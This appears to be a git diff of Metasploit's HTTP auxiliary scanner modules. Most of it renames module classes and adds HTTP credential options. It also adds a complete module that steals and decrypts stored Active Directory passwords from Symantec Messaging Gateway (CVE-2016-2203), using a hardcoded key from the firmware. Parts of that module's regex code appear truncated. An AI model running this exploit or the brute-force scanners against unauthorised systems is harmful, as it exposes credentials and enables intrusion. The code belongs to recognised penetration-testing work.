a/modules/auxiliary/scanner/http/svn_scanner.rb b/modules/auxiliary/scanner/http/svn_scanner.rb index 1c2f5a2132..be40bb0c17 100644 --- a/modules/auxiliary/scanner/http/svn_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb index 3a388d677a..f15b931185 100644 --- a/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb +++ b/modules/auxiliary/scanner/http/svn_wcdb_scanner.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb index 3c141366c7..d8e49a4e95 100644 --- a/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb +++ b/modules/auxiliary/scanner/http/sybase_easerver_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb b/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb new file mode 100644 index 0000000000..c178d92860 --- /dev/null +++ b/modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb @@ -0,0 +1,314 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'digest' +require "openssl" + + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability', + 'Description' => %q{ + This module will grab the AD account saved in Symantec Messaging Gateway and then + decipher it using the disclosed Symantec PBE key. Note that authentication is required + in order to successfully grab the LDAP credentials, and you need at least a read account. + Version 10.6.0-7 and earlier are affected + }, + 'References' => + [ + ['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'], + ['CVE','2016-2203'], + ['BID','86137'] + ], + 'Author' => + [ + 'Fakhir Karim Reda ' + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'SSLVersion' => 'TLS1', + 'RPORT' => 443 + }, + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Dec 17 2015' + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [true, 'The username to login as']), + OptString.new('PASSWORD', [true, 'The password to login with']), + OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) + ], self.class) + + deregister_options('RHOST') + end + + def print_status(msg='') + super(rhost ? "#{peer} - #{msg}" : msg) + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'LDAP', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def auth(username, password, sid, last_login) + sid2 = '' + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'), + 'headers' => { + 'Referer' => "https://#{peer}/brightmail/viewLogin.do", + 'Connection' => 'keep-alive' + }, + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", + 'vars_post' => { + 'lastlogin' => last_login, + 'userLocale' => '', + 'lang' => 'en_US', + 'username' => username, + 'password' => password, + 'loginBtn' => 'Login' + } + }) + + if res &&res.body =~ /Logged in/ + sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] + return sid2 + end + + nil + end + + def get_login_data + sid = '' #From cookie + last_login = '' #A hidden field in the login page + + res = send_request_raw({ + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do') + }) + + if res + last_login = res.get_hidden_inputs.first['lastlogin'] || '' + + unless res.get_cookies.empty? + sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' + end + end + + return sid, last_login + end + + + # Returns the status of the listening port. + # + # @return [Boolean] TrueClass if port open, otherwise FalseClass. + def port_open? + begin + res = send_request_raw({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + return true if res + rescue ::Rex::ConnectionRefused + print_status("Connection refused") + rescue ::Rex::ConnectionError + print_error("Connection failed") + rescue ::OpenSSL::SSL::SSLError + print_error("SSL/TLS connection error") + end + + false + end + + # Returns the derived key from the password, the salt and the iteration count number. + # + # @return Array of byte containing the derived key. + def get_derived_key(password, salt, count) + key = password + salt + + for i in 0..count-1 + key = Digest::MD5.digest(key) + end + + kl = key.length + + return key[0,8], key[8,kl] + end + + # Returns the decoded Base64 data in RFC-4648 implementation. + # The Rex implementation decoding Base64 is by using unpack("m"). + # By default, the "m" directive uses RFC-2045, but if followed by 0, + # it uses RFC-4648, which is the same RFC Base64.strict_decode64 uses. + def strict_decode64(str) + "#{Rex::Text.decode_base64(str)}0" + end + + + # @Return the deciphered password + # Algorithm obtained by reversing the firmware + def decrypt(enc_str) + pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=" + salt = strict_decode64(enc_str[0,12]) + remsg = strict_decode64(enc_str[12,enc_str.length]) + (dk, iv) = get_derived_key(pbe_key, salt, 1000) + alg = 'des-cbc' + + decode_cipher = OpenSSL::Cipher::Cipher.new(alg) + decode_cipher.decrypt + decode_cipher.padding = 0 + decode_cipher.key = dk + decode_cipher.iv = iv + plain = decode_cipher.update(remsg) + plain << decode_cipher.final + + plain.gsub(/[\x01-\x08]/,'') + end + + + def grab_auths(sid,last_login) + token = '' # from hidden input + selected_ldap = '' # from checkbox input + new_uri = '' # redirection + flow_id = '' # id of the flow + folder = '' # symantec folder + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$exec.flo'), + 'headers' => { + 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", + 'Connection' => 'keep-alive' + }, + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};" + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while getting token to authenticate.') + end + + token = res.get_hidden_inputs.first['symantec.brightmail.key.TOKEN'] || '' + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$edit.flo'), + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ", + 'vars_post' => + { + 'flowId' => '0', + 'userLocale' => '', + 'lang' => 'en_US', + 'symantec.brightmail.key.TOKEN'=> "#{token}" + }, + 'headers' => + { + 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", + 'Connection' => 'keep-alive' + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to authenticate.') + end + + if res.headers['Location'] + mlocation = res.headers['Location'] + new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0] + flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0] + folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0] + end + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{folder}", + 'headers' => { + 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", + 'Connection' => 'keep-alive' + }, + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ", + 'vars_get' => { + 'flowId' => "#{flow_id}", + 'userLocale' => '', + 'lang' => 'en_US' + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while trying to collect credentials.') + end + + if res.code == 200 + login = res.body.scan(//).flatten[0] || '' + password = res.body.scan(//).flatten[0] || '' + host = res.body.scan(/ 443, 'SSL' => true, - 'SSLVersion' => 'TLS1' } )) + + register_options( + [ + OptString.new('USERNAME', [false, 'The username to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The password to specify for authentication', '']) + ], self.class) end @@ -51,7 +56,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] )) }.call end diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 4918004f32..580ab2f489 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/title.rb b/modules/auxiliary/scanner/http/title.rb index 4b573346ae..d7f662fce7 100644 --- a/modules/auxiliary/scanner/http/title.rb +++ b/modules/auxiliary/scanner/http/title.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient # Scanner mixin should be near last @@ -26,7 +26,6 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptBool.new('STORE_NOTES', [ true, 'Store the captured information in notes. Use "notes -t http.title" to view', true ]), - OptBool.new('SHOW_ERRORS', [ true, 'Show error messages relating to grabbing titles on the console', true ]), OptBool.new('SHOW_TITLES', [ true, 'Show the titles on the console as they are grabbed', true ]), OptString.new('TARGETURI', [true, 'The base path', '/']) ], self.class) @@ -35,8 +34,8 @@ class Metasploit3 < Msf::Auxiliary end def run - if datastore['STORE_NOTES'] == false && datastore['SHOW_ERRORS'] == false && datastore['SHOW_TITLES'] == false - print_error("Notes storage is false, errors have been turned off and titles are not being shown on the console. There isn't much point in running this module.") + if !datastore['STORE_NOTES'] && !datastore['SHOW_TITLES'] + print_error("Notes storage is false and titles are not being shown on the console. There isn't much point in running this module.") else super end @@ -51,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary # If no response, quit now if res.nil? - print_error("[#{target_host}:#{rport}] No response") if datastore['SHOW_ERRORS'] == true + vprint_error("[#{target_host}:#{rport}] No response") return end @@ -65,12 +64,12 @@ class Metasploit3 < Msf::Auxiliary server_header = val if key.downcase == 'server' end else - print_error("[#{target_host}:#{rport}] No HTTP headers") if datastore['SHOW_ERRORS'] == true + vprint_error("[#{target_host}:#{rport}] No HTTP headers") end # If the body is blank, just stop now as there is no chance of a title if res.body.nil? - print_error("[#{target_host}:#{rport}] No webpage body") if datastore['SHOW_ERRORS'] == true + vprint_error("[#{target_host}:#{rport}] No webpage body") return end @@ -78,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary # there is no chance that we will have a title rx = %r{[\n\t\s]*(?<title>.+?)[\s\n\t]*}im.match(res.body.to_s) unless rx - print_error("[#{target_host}:#{rport}] No webpage title") if datastore['SHOW_ERRORS'] == true + vprint_error("[#{target_host}:#{rport}] No webpage title") return end @@ -86,13 +85,15 @@ class Metasploit3 < Msf::Auxiliary rx[:title].strip! if rx[:title] != '' rx_title = Rex::Text.html_decode(rx[:title]) - print_status("[#{target_host}:#{rport}] [C:#{res.code}] [R:#{location_header}] [S:#{server_header}] #{rx_title}") if datastore['SHOW_TITLES'] == true - if datastore['STORE_NOTES'] == true + if datastore['SHOW_TITLES'] + print_status("[#{target_host}:#{rport}] [C:#{res.code}] [R:#{location_header}] [S:#{server_header}] #{rx_title}") + end + if datastore['STORE_NOTES'] notedata = { code: res.code, port: rport, server: server_header, title: rx_title, redirect: location_header, uri: datastore['TARGETURI'] } report_note(host: target_host, port: rport, type: "http.title", data: notedata, update: :unique_data) end else - print_error("[#{target_host}:#{rport}] No webpage title") if datastore['SHOW_ERRORS'] == true + vprint_error("[#{target_host}:#{rport}] No webpage title") end end diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index 9a4c1e244f..314f77b7f2 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_users.txt") ]), ], self.class) - deregister_options('PASSWORD','PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS','USERNAME') + deregister_options('PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS') end def has_j_security_check? diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 6847640f9c..36fd6025cb 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/tomcat' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -58,6 +58,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(8080), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptString.new('TARGETURI', [true, "URI for Manager login. Default is /manager/html", "/manager/html"]), OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_userpass.txt") ]), @@ -110,7 +112,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10 + connection_timeout: 10, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) @@ -128,7 +132,11 @@ class Metasploit3 < Msf::Auxiliary print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else invalidate_login(credential_data) - vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + if result.proof + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + else + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end end end end diff --git a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb index c4541ac09f..1bcadbbde9 100644 --- a/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb +++ b/modules/auxiliary/scanner/http/tplink_traversal_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary loot = store_loot("tplink.traversal.data","text/plain",rhost, res.body,file) vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") - if datastore['VERBOSE'] == true + if datastore['VERBOSE'] vprint_good("#{rhost}:#{rport} - Response - File #{file}:") res.body.each_line do |line| # the following is the last line of the useless response @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary end out = false end - elsif (res and res.code) + elsif res && res.code vprint_error("#{rhost}:#{rport} - File->#{file} not found") end end diff --git a/modules/auxiliary/scanner/http/trace.rb b/modules/auxiliary/scanner/http/trace.rb index 86472e9648..192a7cb395 100644 --- a/modules/auxiliary/scanner/http/trace.rb +++ b/modules/auxiliary/scanner/http/trace.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/trace_axd.rb b/modules/auxiliary/scanner/http/trace_axd.rb index 188088b406..ab57d7cee5 100644 --- a/modules/auxiliary/scanner/http/trace_axd.rb +++ b/modules/auxiliary/scanner/http/trace_axd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb index 46fc088080..2d035a031d 100644 --- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb +++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Typo3 include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 329ad2b77f..674b7dd855 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index 48df7dd5e2..6a881c119d 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/vhost_scanner.rb b/modules/auxiliary/scanner/http/vhost_scanner.rb index 4d0484a96a..cea5ea796e 100644 --- a/modules/auxiliary/scanner/http/vhost_scanner.rb +++ b/modules/auxiliary/scanner/http/vhost_scanner.rb @@ -13,7 +13,7 @@ require 'cgi' - class Metasploit3 < Msf::Auxiliary + class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer diff --git a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb index 163932d52a..399ce2cfc9 100644 --- a/modules/auxiliary/scanner/http/wangkongbao_traversal.rb +++ b/modules/auxiliary/scanner/http/wangkongbao_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/web_vulndb.rb b/modules/auxiliary/scanner/http/web_vulndb.rb index 9e768085ce..32f96c8d11 100644 --- a/modules/auxiliary/scanner/http/web_vulndb.rb +++ b/modules/auxiliary/scanner/http/web_vulndb.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer diff --git a/modules/auxiliary/scanner/http/webdav_internal_ip.rb b/modules/auxiliary/scanner/http/webdav_internal_ip.rb index 74bf30c54b..9c79ae64a4 100644 --- a/modules/auxiliary/scanner/http/webdav_internal_ip.rb +++ b/modules/auxiliary/scanner/http/webdav_internal_ip.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/webdav_scanner.rb b/modules/auxiliary/scanner/http/webdav_scanner.rb index 42970aac95..00fab61f82 100644 --- a/modules/auxiliary/scanner/http/webdav_scanner.rb +++ b/modules/auxiliary/scanner/http/webdav_scanner.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/webdav_website_content.rb b/modules/auxiliary/scanner/http/webdav_website_content.rb index 4fc1b55c75..489dea1a5e 100644 --- a/modules/auxiliary/scanner/http/webdav_website_content.rb +++ b/modules/auxiliary/scanner/http/webdav_website_content.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/webpagetest_traversal.rb b/modules/auxiliary/scanner/http/webpagetest_traversal.rb index cb3381d0c8..4641786e14 100644 --- a/modules/auxiliary/scanner/http/webpagetest_traversal.rb +++ b/modules/auxiliary/scanner/http/webpagetest_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/wildfly_traversal.rb b/modules/auxiliary/scanner/http/wildfly_traversal.rb index 6486a74948..3f79cd3b9f 100644 --- a/modules/auxiliary/scanner/http/wildfly_traversal.rb +++ b/modules/auxiliary/scanner/http/wildfly_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb index a9ae93a81b..34c8503a2a 100644 --- a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb +++ b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb index 9b804e4bb4..1576076911 100644 --- a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index 2019d21f71..72acdebe94 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb index d52d6c8f69..3f2da7cf5f 100644 --- a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb +++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_multicall' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner @@ -116,6 +116,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index 702d4b6bcc..32a55bdcbb 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/wordpress_scanner.rb b/modules/auxiliary/scanner/http/wordpress_scanner.rb index e4c5feef18..c8249e2faf 100644 --- a/modules/auxiliary/scanner/http/wordpress_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_scanner.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index b46c204c6f..bdf0190d7d 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_rpc' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute @@ -70,6 +70,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) diff --git a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb index 3892db3191..5284a81933 100644 --- a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index 11c29161d2..1f8bf30ff2 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb index d4384810b1..33de5081ae 100644 --- a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index 1f9046447c..800c6a897f 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index 88f9ca2081..fce1d04daf 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ 